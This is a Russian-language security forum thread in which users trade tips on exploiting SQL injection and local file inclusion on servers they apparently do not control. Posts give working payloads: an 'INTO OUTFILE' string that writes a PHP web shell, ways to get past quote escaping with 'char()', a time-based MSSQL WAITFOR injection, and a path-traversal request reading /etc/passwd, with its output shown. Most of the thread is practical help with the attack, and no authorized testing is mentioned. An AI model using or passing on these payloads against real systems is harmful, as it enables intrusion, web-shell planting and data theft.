HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2531  
Старый 11.02.2019, 18:38
giloo
Guest
Сообщений: n/a
Провел на форуме:
9177

Репутация: 4
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

В ошибке явно указано, что нарушен синтаксис. Лучше один раз увидеть, то бишь установить локально MySQL и разобраться в синтаксисе. Или, как минимум, почитать гайды по SQL инъекциям для новичков.
Гайды перечитаны) уже голова трещит от них(

Цитата:
Сообщение от karkajoi  
karkajoi said:

http://www.securityidiots.com/Web-P...XPATH-Error-Based-Injection-Extractvalue.html
изучаем, пробуем.
Сразу надо оговорится, что длина вывода не будет превышать 32 символа вроде. Что б вывести все что 32+ символы(хэш например) надо воспользоватся функцией substring(hash,32)
Спасибо! Но вы дали ссылку на входящий параметр до LIMIT.

У меня же можно инъектироваться после ORDER BY id LIMIT 0,5 >

Если я пробую UNION, то выдает ошибку что ORDERне совместим с UNION((
 
Ответить с цитированием

  #2532  
Старый 11.02.2019, 18:50
giloo
Guest
Сообщений: n/a
Провел на форуме:
9177

Репутация: 4
По умолчанию

Нашла еще способ инъекции:

SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO @var1,@var2

Но кроме переменных ничего невозможно вставить(

Так не хочет:


SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO (SELECT 1),@var2

Есть идеи у кого-нибудь?
 
Ответить с цитированием

  #2533  
Старый 12.02.2019, 03:26
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937

Репутация: 0
По умолчанию

Цитата:
Сообщение от giloo  
giloo said:

Нашла еще способ инъекции:
SELECT id,name FROM cities ORDER BY id LIMIT 0,5
INTO @var1,@var2
Но кроме переменных ничего невозможно вставить(

Так не хочет:

SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO (SELECT 1),@var2

Есть идеи у кого-нибудь?
INTO - https://dev.mysql.com/doc/refman/8.0...lect-into.html

Цитата:
Сообщение от giloo  
giloo said:

procedure analyse(1,1) помогает, но не позволяет вызывать функции в параметрах(
То есть даже не дает 1+1 внутри выполнить
DoS Bug - https://nvd.nist.gov/vuln/detail/CVE-2015-4870

Он давно пофиксен, подзапросы больше не работают! Можете вывести только, например, название текущей базы данных, версию и текущего пользователя от которого идет подключение!

Если у пользователя есть права на запись в фс пробуйте:

Код:
Code:
?q=1 into outfile '/path/to/shell.php' lines terminated by ""--+

?q=1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by ""--+
 
Ответить с цитированием

  #2534  
Старый 12.02.2019, 11:06
giloo
Guest
Сообщений: n/a
Провел на форуме:
9177

Репутация: 4
По умолчанию

Цитата:
Сообщение от cat1vo  
cat1vo said:

INTO -
https://dev.mysql.com/doc/refman/8.0...lect-into.html
DoS Bug -
https://nvd.nist.gov/vuln/detail/CVE-2015-4870
Он давно пофиксен, подзапросы больше не работают! Можете вывести только, например, название текущей базы данных, версию и текущего пользователя от которого идет подключение!
Если у пользователя есть права на запись в фс пробуйте:
Код:
Code:
?q=1 into outfile '/path/to/shell.php' lines terminated by ""--+

?q=1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by ""--+
Спасибо! К несчастью сервер экранирует ковычки. А на строку в виде hex ругается... Значит здесь все? Никак нельзя?(
 
Ответить с цитированием

  #2535  
Старый 12.02.2019, 15:06
karkajoi
Guest
Сообщений: n/a
Провел на форуме:
96779

Репутация: 5
По умолчанию

Цитата:
Сообщение от giloo  
giloo said:

Спасибо! К несчастью сервер экранирует ковычки. А на строку в виде hex ругается... Значит здесь все? Никак нельзя?(
char(), aes_decrypt(aes_encrypt())
 
Ответить с цитированием

  #2536  
Старый 14.02.2019, 13:28
hshad
Guest
Сообщений: n/a
Провел на форуме:
282

Репутация: 0
По умолчанию

есть инъекция вида

Код:
Code:
param=1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
как выводить через нее что либо?

и есть ли возможность подружить с мапом как-то?
 
Ответить с цитированием

  #2537  
Старый 17.02.2019, 17:09
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию

есть локальный инклуд позволяющий читать произвольные файлы /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../etc/passwd

проблема в выводе которая ограничивается 6 строками есть идеи как обойти?
 
Ответить с цитированием

  #2538  
Старый 17.02.2019, 17:16
altblitz
Постоянный
Регистрация: 05.06.2009
Сообщений: 706
Провел на форуме:
2764047

Репутация: 759


Отправить сообщение для altblitz с помощью ICQ
По умолчанию

Цитата:
Сообщение от pinch  
pinch said:

есть локальный инклуд позволяющий читать произвольные файлы /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../etc/passwd
проблема в выводе которая ограничивается 6 строками есть идеи как обойти?
Возможно, ограничение в вывод 6 строк, заложено изначально в серверном приложении, к которому идёт обращение и обработка скрипта.
 
Ответить с цитированием

  #2539  
Старый 17.02.2019, 17:49
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию

файлы с форматом less нормально читаются /style.less?update=e51qf61z&imports[]=/css/main/themes/default.less а вот с другими парсер выдает ошибку

/* LESS COMPILE ERROR */

/* ParseError: Unexpected input in robots.txt on line 1, column 10

1| User-Agent: *

2|

3| Disallow: /1

4| Disallow: /2

5| Disallow: /3

6| Disallow: /4 */
 
Ответить с цитированием

  #2540  
Старый 17.02.2019, 19:22
altblitz
Постоянный
Регистрация: 05.06.2009
Сообщений: 706
Провел на форуме:
2764047

Репутация: 759


Отправить сообщение для altblitz с помощью ICQ
По умолчанию

Цитата:
Сообщение от pinch  
pinch said:

файлы с форматом less нормально читаются /style.less?update=e51qf61z&imports[]=/css/main/themes/default.less а вот с другими парсер выдает ошибку
/* LESS COMPILE ERROR */
/* ParseError: Unexpected input in robots.txt on line 1, column 10
1| User-Agent: *
2|
3| Disallow: /1
4| Disallow: /2
5| Disallow: /3
6| Disallow: /4 */
Строку User-agent, сервер желает видеть не *, а вполне браузерного вида:

Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0, не так ли?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ